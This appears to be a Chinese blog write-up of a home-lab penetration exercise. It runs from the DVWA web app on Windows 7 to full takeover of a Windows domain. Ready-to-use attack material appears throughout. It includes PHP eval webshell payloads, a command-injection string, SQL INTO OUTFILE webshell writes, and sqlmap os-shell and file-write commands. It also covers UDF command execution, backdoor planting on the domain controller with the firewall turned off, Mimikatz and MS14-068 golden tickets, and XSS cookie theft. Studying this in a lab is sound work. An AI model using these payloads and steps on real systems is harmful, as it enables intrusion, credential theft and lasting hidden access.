资讯详情

DVWA windows提权

环境:

域控:winser 08

域靶机:win xp,win 7 (dvwa装在win7)

攻击机:win10,kali2020

不知从哪里提权开始,那就从文件上传吧。

突然,兴趣来了,靶机来了nessus扫描后,环境漏洞太多,找时间复制下面的漏洞。

文件上传漏洞提权:

思路:如果文件上传有漏洞,上传木马,用菜刀连接,输入后门,结合msf持久渗透。

孰能生巧,那就从简单的开始。

等级:low

写入一句话<?php @eval($_REQUEST[‘xy’]) ?> 上传

文件上传成功,菜刀连接。

这里应该有几种方式。

连接成功,检查域控是否存在,菜刀虚拟终端 ipconfig /all,可以看到在test.com在这个域中,首先要提这个靶机的权利,msf生成payload,菜刀上传。

上传木马后,终端执行木马,start backdoor.exe

msf回显,开始提权。

Getsystem试着提权失败,回来msf,用bypassuac任何试图提高权利的人。

我这里选bypassuac_eventvwr,设置参数

第一次尝试提权失败,想了想,没有过程迁移,回来了meterpreter 进程迁移选 explorer.exe,输出稳定,过程迁移有一个很好的出口,即使木马被关闭,也可以持续连接。

再试一次提权,还是失败了,看了错误的报告 木马产生了错误,选择了错误的结构,一次。

经过多次尝试或报错,可能是环境问题。在这里,我们用模块检测靶机是否存在ms17-010 永恒的蓝色漏洞,因为没有端口检测,不知道445、139端口是否打开,这里盲目猜测检测,假装欧洲皇帝,你可以看到漏洞的存在。

连接成功现在有三种方式可以提高会话。

  1. Session -u id
  2. 设置payload
  3. Python -c “import pty;pty.spawn(‘/bin/bash’)”

好的连接成功了,现在权限提升都省了。

进程迁移,后渗透攻击,后门持久。

Msf有run persistence

现在可以提权域控了

Mimikatz和ms14-068:

信息收集:

进入shell域控提权。

首先上传mimikatz和ms14-068到靶机。生成票据并注入。Ms14-068 msf这里有检测模块省略检测环节。

要生成票据,首先要清空票据,kali 语句没问题,报错了,windows不,以后再看问题。

注入票据,注入成功,尝试连接域控。

如果提权成功,域控可以开始操作。

开始上传域控后门。

Xcopy shell.exe \\domaincontroller\c$

成功上传后门,开始关闭防火墙,加载后门。

服务创建成功,那么现在应该开启服务了。

Sc \\domain controller\ start services

可以看到防火墙已经关闭,现在开始msf连接后门

Msf方法:

加载kiwi,hashdump查看用户账户

Krbtgt:后半部分也就是nt-hash部分,但是kali里面的要切换到普通用户,

黄金票据生成成功,注入票据

黄金票据注入成功就相当于植入了个后门。

且krbtgt 有效时间长,可以稳定的不被发现的作为一个持续化的后门。

总结:在msf操作相对于mimikatz来说方便很多,但是mimikatz对于整个流程的理解更为详细。

等级:medium

等级中只是用bp修改了抓包参数,菜刀连接步骤就一样了。

等级:high

等级高上传为图片马,由于图片马跟菜刀的连接会有问题,所以在这里,复现一下。

琢磨了好久,为什么图片马上传了菜刀却连接不上,在这里,看到一篇文章的解释说图片马是没办法解析连接的,那这里假如有命令注入漏洞或者其他可以远程执行代码的漏洞的话,可以把图片马格式更改,改为php,再用菜刀连接,就可以连的上了,可以说图片马是一个后门了把,但是有触发条件。更改格式我自己试过了,是可以连接上的。我感觉我的思路有点局限,应该有更好的方式。

我在靶机里更改了,作为一种尝试。

上木马,虚拟终端开启木马,msf连接。

昨天尝试本地提权失败,所以我去网上找了招本地提权漏洞的cve编号,不一定得bypassuac提权,今天用CVE-2018-8120 提权。

可以看到提权成功。

那么接下来就是加载后门,并开始进行域的渗透。

收集域相关信息:

Ms14-068生成ptc票据

Mimikatz注入票据

注入成功,尝试访问域控

访问成功,那么可以开始上传木马并关闭防火墙,运行木马,再生成黄金票据获得控制权。这里不再赘述了。

命令执行漏洞:

思路:之前自学的时候并没有想的这么深,想去提权啊啥的,那这里提权,可以执行命令的话,尝试写入一个php文件,还是用菜刀连接。命令执行,三个等级没什么取别就不分开实现了,直接搞。

查看当前目录,尝试写入一个文件。

127.0.0.1|echo "<?php @eval($_POST['xy']); ?>" > ci.php

可以看到写入成功,拼接出目录上菜刀。

连接成功开始上木马,提权,这里域渗透想用empire+deathstart,所以在这里复现下,刚好再熟悉一遍之前所学,至于什么奇淫技巧我还是不大懂的,努力学习中。

Empire生成木马

  1. 设置监听器

  1. 使用payload
  2. 生成木马

上木马,执行木马。

监听到靶机,查看基本信息,先改名,再interact 靶机,可以选择进行会话迁移到msf。

由于empire提权失败,所以迁移到msf进行提权,根据之前的情况应该是环境问题导致提权失败,换msf可以解决这个问题。

失败了失败了,多方尝试,提权不了。还是转到msf继续渗透把。

连接成功了,后面就不过多赘述了。

Sql注入提权:

sql注入提权的条件:

① secure_file_priv不为null且具有root权限

  1. 限制mysqld 不允许导入 | 导出 secure_file_priv=null或secure_file_priv
  2. 限制mysqld 的导入 | 导出 只能发生在/tmp/目录下 secure_file_priv=/tmp/
  3.  不对mysqld 的导入 | 导出做限制 secure_file_priv=

②当secure_file_priv为NULL时的利用方法

set global general_log=on;set global general_log_file='C:/users/ilu.test/desktop/phpStudy/WWW/789.php';select '<?php eval($_POST['a']) ?>';

Show variables like ‘%secure%’

③sqlmap读写

1、--file-read "路径"

2、--file-write "要写入的内容或所在文件路径" --file-dest "要写入的路径"

基于命令写入和读取文件:

写入文件:

‘union select 1,’<?php @eval($_POST["pass"]) ?>’ into outfile ‘C:/xampp/htdocs/dvwa/1.php‘

读取文件:

'union select 1,load_file("D:\\1.txt"),3%23

注意点:[“”]中括号里面得用双引号

\ 反斜杠要转义才可以写入成功 (亲测这个好用)

'unionselect 1,'<?php @eval($_POST["xy"]); ?>' into outfile 'C:\\Users\\ilu.TEST\\Desktop\\phpStudy\\WWW\\DVWA-1.9\\vulnerabilities\\sqli\\1.php' -- +

/ 正斜杠不用转义就可以写入成功

' union select 1,'<?php @eval($_POST["xy"]); ?>' into outfile 'c:/users/ilu.test/desktop/1.php' -- +

Sqlmap --os-shell:

条件:

  1. 网站必须是root权限(2)攻击者需要知道网站的绝对路径(3)GPC为off,php主动转义的功能关闭

经过整理初步的信息整理,下面开始正经的提权了。

①:命令写入

获取基本安装路经:@@basedir

获取数据库目录路径:@@datadir

开始写入文件:' union select 1,'<?php @eval($_POST["xy"]); ?>' into outfile 'C:\\Users\\ilu.TEST\\Desktop\\phpStudy\\WWW\\DVWA-1.9\\vulnerabilities\\sqli\\2.php' -- +

不多赘述。

②--os-shell:

 查看是否是管理员:--is-dba

可以看到是管理员,否则无法使用--os-shell

查看当前用户:--current-user

查看gpc是否关闭

获取当前路径:@@basedir   这里用命令执行漏洞查看了chdir

终于可以,phpstudy环境有问题把,这里转到xampp尝试。

千方百计的搭环境就为了试成功,太感人了。

python sqlmap.py -u "192.168.37.137/DVWA/vulnerabilities/sqli/" --cookie="security=low; PHPSESSID=hemck8ga39jp28nr5pgirdplb6" --os-shell --data="id=1&Submit=Submit"

可以看到已经可以正常查询了,这个实现os-shell真的很苛刻。

可以看到并不是管理员权限嗷,准备提权。

写入shell,菜刀连接。

连接成功,上木马。不多赘述。

这里我有点好奇他是通过什么方式获取到信息的,这里我抓了下包。

我看到他是通过tmpbusjk.php下的cmd访问得到。

那同样的我写入一个可以访问cmd的shell是不是就可以跳过这一步了,我想应该是的把。

那这里我重命名一下这个文件浏览器访问试试。

看来没错的是可以的,这个后续的编程我再学学,因垂丝汀。

③udf提权:(userdefined function)

 提权条件:

1.Mysql  > 5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下

2.Mysql < 5.1,udf.dll文件在windows server 2003下放置于c:\windows\system32目 录,在windows server 2000下放置在c:\winnt\system32目录.

3.拥有可以将udf.dll写入相应目录的权限

Sqlmap udf目录位置:

可以看到是32位的,那这里就用udf.dll 32位的注入。

Sqlmap 里面的udf.dll 加密了,先解密。

解密文件位置:D:\sqlmap\extra\cloak\cloak.py

已经解压得到udf.dll,复制到mysql里的lib\plugin文件夹里。

Sqlmap 写入文件。

python sqlmap.py -u "192.168.37.137/DVWA/vulnerabilities/sqli/" --cookie="security=low; PHPSESSID=hemck8ga39jp28nr5pgirdplb6"  --data="id=1&Submit=Submit" --file-write "D:\\sqlmap\\udf.dll" --file-dest "c:\\xampp\\mysql\\lib\\plugin\\udf.dll"

文件夹不存在就创建一个。

为了看些udf.dll的作用,用进制编辑器打开了这个,发现了里面的 函数。

安装udf.dll   create function function_name returns string soname ‘udf.dll’;

验证是否安装成功,这里可以看到是有的。

执行命令看看。 select sys_eval(‘ipconfig /all’);

执行成功,但是看起来并没有拿到管理员权限,可以开始写入shell,进行进一步的提权了。

感觉这个太麻烦了,限制也比较多,但是吧,挖出这样漏洞的前辈太强了吧。向大佬看齐。

Xss获取cookie登入后台:

把php上传至服务器。

Xss插入远程执行的脚本

点击

跳转了,看看服务器是否生成文件。

这个虽然获取了cookie,用插件修改了cookie,但是好像登入后台有点问题。

如果这篇文章对你有帮助的话,欢迎在“码上优学”小程序上继续学习更多it知识!

标签: 068连接器

锐单商城拥有海量元器件数据手册IC替代型号,打造 电子元器件IC百科大全!

锐单商城 - 一站式电子元器件采购平台